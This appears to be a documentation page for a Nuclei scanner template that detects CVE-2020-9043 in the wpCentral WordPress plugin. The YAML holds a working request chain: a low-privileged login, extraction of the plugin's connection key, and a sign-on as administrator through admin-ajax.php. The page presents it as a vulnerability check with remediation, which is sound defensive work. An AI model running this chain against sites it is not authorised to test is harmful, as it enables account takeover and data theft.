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WordPress wpCentral <1.5.1 - Information Disclosure

ID: CVE-2020-9043

Severity: high

Author: scent2d

Tags: cve,cve2020,wordpress,wp-plugin,wpcentral,authenticated,wp,wpscan

Description

Section titled “Description”

WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2020-9043


info:
  name: WordPress wpCentral <1.5.1 - Information Disclosure
  author: scent2d
  severity: high
  description: |
    WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the  connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the wpCentral plugin.
  remediation: |
    Update the wpCentral plugin to version 1.5.1 or later to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/10074
    - https://www.wordfence.com/blog/2020/02/vulnerability-in-wpcentral-plugin-leads-to-privilege-escalation/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9043
    - https://wordpress.org/plugins/wp-central/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9043
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-9043
    cwe-id: CWE-200
    epss-score: 0.04173
    epss-percentile: 0.91333
    cpe: cpe:2.3:a:wpcentral:wpcentral:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: wpcentral
    product: wpcentral
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,wpcentral,authenticated,wp,wpscan


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1
        Host: {{Hostname}}


    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(header_4, 'text/html')"
          - "status_code_4 == 200"
          - "contains(body_4, 'wpCentral Connection Key')"
          - contains(body_4, "pagenow = \'dashboard\'")
        condition: and


    extractors:
      - type: regex
        name: authkey
        group: 1
        regex:
          - 'style="word-wrap:break-word;">([a-z0-9]+)'
        internal: true
        part: body


      - type: regex
        name: nonce
        group: 1
        regex:
          - '_wpnonce=([0-9a-z]+)'
        internal: true
        part: body
# digest: 4b0a00483046022100f99ab6d09a1def9791b5d346ef0a0a9056f765828fccc7984bd622f0d355b7e4022100f6d618f1274eccc1864009b86f17195d7d03bf9b252975544b2992d5281ced20:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-9043.yaml"

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